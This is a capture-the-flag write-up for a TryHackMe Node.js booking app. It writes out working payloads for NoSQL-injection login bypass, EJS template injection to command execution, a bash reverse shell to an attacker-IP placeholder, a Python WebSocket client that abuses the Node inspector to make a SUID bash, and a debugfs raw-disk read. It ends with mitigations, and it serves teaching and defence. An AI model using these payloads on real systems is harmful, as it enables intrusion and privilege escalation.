TL;DR
Byte Lotus Poolside is a Node.js/Express booking app. A NoSQL injection in
the login endpoint bypasses authentication entirely and lands directly in
the staff role. The staff console's booking-confirmation "template"
feature is a raw EJS render with no sandboxing, giving straightforward
server-side template injection and RCE as the low-privileged poolside
service account. From there, a second Node process owned by a
higher-privileged pipelinesvc account (member of the disk group) is
listening on a loopback debug port. Speaking the Node inspector/Chrome
DevTools protocol directly to that port over a raw WebSocket lets us run
arbitrary JavaScript as pipelinesvc, and that account's disk group
membership allows reading the root partition block device directly with
debugfs, bypassing filesystem permissions to pull root.txt without
ever needing a root shell.
User flag: THM{[REDACTED]}
Root flag: THM{[REDACTED]}
1. Recon
nmap -A -Pn <MACHINE_IP> -o nmap
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.18 (Ubuntu Linux; protocol 2.0)
80/tcp open http Node.js (Express middleware)
|_http-title: "Byte Lotus - Poolside"
Full port sweep confirmed nothing extra:
nmap -A -p- <MACHINE_IP> -o nmap
# same two ports, 22 and 80
The web app is a "Byte Lotus" poolside booking page with a staff/guest
login form posting to /login.
2. Directory discovery
dirsearch -u http://<MACHINE_IP>/ -C 403,404
302 - 23B - /Logout -> /
403 - 2KB - /Staff
/Staff exists but returns 403 without auth - confirms there's a
privileged area worth getting into.
3. NoSQL injection - authentication bypass
Testing a JSON body against /login with MongoDB operator injection
confirmed the backend is Mongo-backed and doesn't sanitize input:
curl -s -X POST http://<MACHINE_IP>/login \
-H "Content-Type: application/json" \
-d '{"username":{"$ne":null},"password":{"$ne":null}}'
{"ok":true,"role":"guest"}
That confirms the injection lands, but only as guest. The actual login
form posts as regular form-encoded data, not JSON, so switching to
Express's array/bracket syntax (username[$ne]=) lets the same operator
injection ride through body-parser's extended mode, which converts
field[$ne]=value into a nested object automatically:
curl -s -c cookies.txt -X POST http://<MACHINE_IP>/login \
--data-urlencode "username[\$ne]=" \
--data-urlencode "password[\$ne]="
Found. Redirecting to /staff
Bracket-notation NoSQL injection on both fields, and the session cookie
this sets grants staff access directly:
curl -L -s -b cookies.txt http://<MACHINE_IP>/staff
<div class="lotus">- staff console -</div>
<h1>Cabana Desk</h1>
<p class="sub">Signed in as <strong>attendant</strong>. Customise the guest booking-confirmation message below.</p>
<form method="post" action="/staff/preview">
<label>Confirmation template (EJS - use <%= guest %> to personalise)</label>
<textarea name="template">Dear <%= guest %>, your Byte Lotus cabana is confirmed.</textarea>
<button type="submit">Preview</button>
</form>
Full staff console access, no credentials needed.
4. Server-side template injection to RCE
The staff console explicitly tells you it's rendering user-controlled EJS
(use <%= guest %> to personalise) - a strong signal the template field
is passed straight into an EJS render call server-side rather than only
substituting the guest variable into a fixed template.
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
--data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("id") %>'
<pre>uid=996(poolside) gid=996(poolside) groups=996(poolside)
</pre>
Confirmed RCE as the poolside service account. EJS has no output
sandboxing by default, and global.process.mainModule.require(...) is
the standard bypass used when direct require isn't in scope inside an
EJS expression. Escalated straight to a reverse shell:
curl -s -b cookies.txt -X POST http://<MACHINE_IP>/staff/preview \
--data-urlencode 'template=<%= global.process.mainModule.require("child_process").execSync("bash -c \"bash -i >& /dev/tcp/<ATTACKER_IP>/4444 0>&1\"") %>'
penelope -p 4444 listen
[+] [New Reverse Shell] => 10.49.131.0 Linux-x86_64 poolside(996)
poolside@tryhackme-2404:/opt/poolside$ whoami
poolside
poolside@tryhackme-2404:/opt/poolside$ cat /home/poolside/user.txt
THM{[REDACTED]}
5. Finding the escalation path - a second Node process
sudo -l needed a password, no SUID/SGID binaries or writable
sudoers files stood out. ps aux turned up a second Node process running
as a different, unreachable user:
poolside@tryhackme-2404:/home$ ps aux | grep -i node
pipelin+ 599 0.0 2.2 856472 44976 ? Ssl 06:41 0:00 /usr/bin/node --inspect=127.0.0.1:9229 processor.js
poolside 600 4.1 4.4 1043140 87800 ? Ssl 06:41 0:55 /usr/bin/node app.js
--inspect=127.0.0.1:9229 is the Node.js debugger/inspector flag - it
exposes the full Chrome DevTools Protocol on that port, loopback-only,
running as pipelinesvc:
poolside@tryhackme-2404:/home$ id pipelinesvc
uid=995(pipelinesvc) gid=995(pipelinesvc) groups=995(pipelinesvc),6(disk)
pipelinesvc is a member of the disk group - worth remembering for
later.
poolside@tryhackme-2404:/home$ curl -s http://127.0.0.1:9229/json
[ {
"id": "67032290-875c-4701-9958-38d997feeebb",
"title": "processor.js",
"url": "file:///opt/pipelinesvc/telemetry/processor.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/67032290-875c-4701-9958-38d997feeebb"
} ]
Plain curl against the debugger URL just says WebSockets request was - the inspector protocol requires a proper WebSocket upgrade
expected
handshake, which curl alone can't do for the JSON-RPC session that
follows.
6. Speaking WebSocket to the Node inspector manually
No websocket/websockets Python module was installed on the box, so
the handshake and frame encoding were done by hand - a WebSocket upgrade
is just an HTTP Upgrade header exchange, and a text frame is a simple
opcode + masked-payload structure:
import socket, base64, os, json, struct
HOST, PORT = "127.0.0.1", 9229
key = base64.b64encode(os.urandom(16)).decode()
s = socket.create_connection((HOST, PORT))
req = (
f"GET /67032290-875c-4701-9958-38d997feeebb HTTP/1.1\r\n"
f"Host: {HOST}:{PORT}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
)
s.send(req.encode())
print(s.recv(4096))
def send_frame(payload):
data = payload.encode()
mask = os.urandom(4)
masked = bytes(b ^ mask[i % 4] for i, b in enumerate(data))
length = len(data)
if length < 126:
header = struct.pack("!BB", 0x81, 0x80 | length)
else:
header = struct.pack("!BBH", 0x81, 0x80 | 126, length)
s.send(header + mask + masked)
cmd = {
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "global.process.mainModule.require('child_process').execSync('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash').toString()"
}
}
send_frame(json.dumps(cmd))
print(s.recv(65536))
b'HTTP/1.1 101 Switching Protocols\r\n...'
b'{"id":1,"result":{"result":{"type":"string","value":""}}}'
The Runtime.evaluate method of the Chrome DevTools Protocol executes
arbitrary JavaScript inside the target Node process - here, used to run a
child_process.execSync call that copies /bin/bash to /tmp/rootbash
and sets the SUID bit, all executing with pipelinesvc's real UID/GID:
poolside@tryhackme-2404:/home$ ls -la /tmp/rootbash
-rwsr-xr-x 1 pipelinesvc pipelinesvc 1446024 Aug 4 07:05 /tmp/rootbash
poolside@tryhackme-2404:/home$ /tmp/rootbash -p
rootbash-5.2$ whoami
pipelinesvc
7. Root flag via disk group, not a root shell
euid=995(pipelinesvc) from the SUID bash shell still only carried the
poolside account's original supplementary group list
(groups=996(poolside)) - bash -p preserves the real UID's group
memberships, it doesn't pick up pipelinesvc's disk group membership.
So debugfs against the raw block device failed from that shell:
rootbash-5.2$ debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1
debugfs: Permission denied while trying to open /dev/nvme0n1p1
The fix: run the privileged read inside the original Node inspector RCE
instead of through the SUID bash detour - that JavaScript executes
natively as the full pipelinesvc process, with its real group list
(disk) intact, giving direct read access to the underlying block
device:
cmd = {
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": "global.process.mainModule.require('child_process').execSync('debugfs -R \\'cat /root/root.txt\\' /dev/nvme0n1p1').toString()"
}
}
b'{"id":1,"result":{"result":{"type":"string","value":"debugfs 1.47.0 (5-Feb-2023)\\nTHM{[REDACTED]}\\n"}}}'
debugfs reads the ext4 filesystem directly off the raw partition,
completely bypassing normal file permission checks (root.txt is
-rw-r----- root-owned) - membership in the disk group and raw
/dev/nvme0n1p1 access is effectively root-equivalent file read, even
without ever obtaining a root shell.
Key vulnerabilities
| # | Weakness | Detail |
|---|---|---|
| 1 | NoSQL injection - auth bypass |
/login builds a Mongo query directly from unsanitized user input; bracket-notation form fields (username[$ne]=) parse into a $ne operator object via body-parser's extended mode, letting any request authenticate as staff with no valid credentials. |
| 2 | Server-side template injection (SSTI) |
/staff/preview renders the user-supplied template field as live EJS with no sandboxing, giving direct RCE via global.process.mainModule.require(...). |
| 3 | Exposed Node inspector debug port |
pipelinesvc's processor.js runs with --inspect=127.0.0.1:9229 in what looks like a production environment, exposing the full Chrome DevTools Protocol (arbitrary JS execution) to any local user who can reach loopback. |
| 4 | Overprivileged group membership |
pipelinesvc belongs to the disk group, granting raw read/write access to block devices - equivalent to bypassing all filesystem permission checks on that disk. |
Attack chain
NoSQL injection on /login (username[$ne]=, password[$ne]=)
|
v
Staff session with no valid credentials
|
v
/staff/preview - unsandboxed EJS template render (SSTI)
|
v
RCE as poolside -> reverse shell -> user.txt
|
v
ps aux reveals pipelinesvc's node --inspect=127.0.0.1:9229 processor.js
|
v
Manual WebSocket handshake + Runtime.evaluate (Chrome DevTools Protocol)
|
v
Arbitrary JS execution as pipelinesvc (member of disk group)
|
v
debugfs -R 'cat /root/root.txt' /dev/nvme0n1p1 -> root.txt read directly
|
v
(SUID bash copy also created, but useless here since it loses pipelinesvc's group membership)
Mitigations
- Never build database queries directly from unsanitized request bodies.
Explicitly validate/whitelist input types (e.g. reject non-string
username/passwordvalues) or use a query-building layer that doesn't allow raw operator injection like Mongoose schemas with strict typing, or a library such asmongo-sanitize. - Never render user-supplied strings as live templates. If customizable
templates are a real product requirement, use a sandboxed templating
approach (restricted variable substitution only, no arbitrary
expression evaluation) rather than passing input straight into
ejs.render(). - Never run
--inspect/--inspect-brkin production, even bound to loopback - any local process (including a compromised low-privilege web app account) can reach it and gain full code execution in the context of whatever account started that Node process. - Apply least privilege to service accounts.
diskgroup membership is effectively root-equivalent file access and should never be granted to an application service account unless absolutely required, and even then should be scoped far more narrowly (e.g. a specific loop device, not the boot disk).
Top comments (0)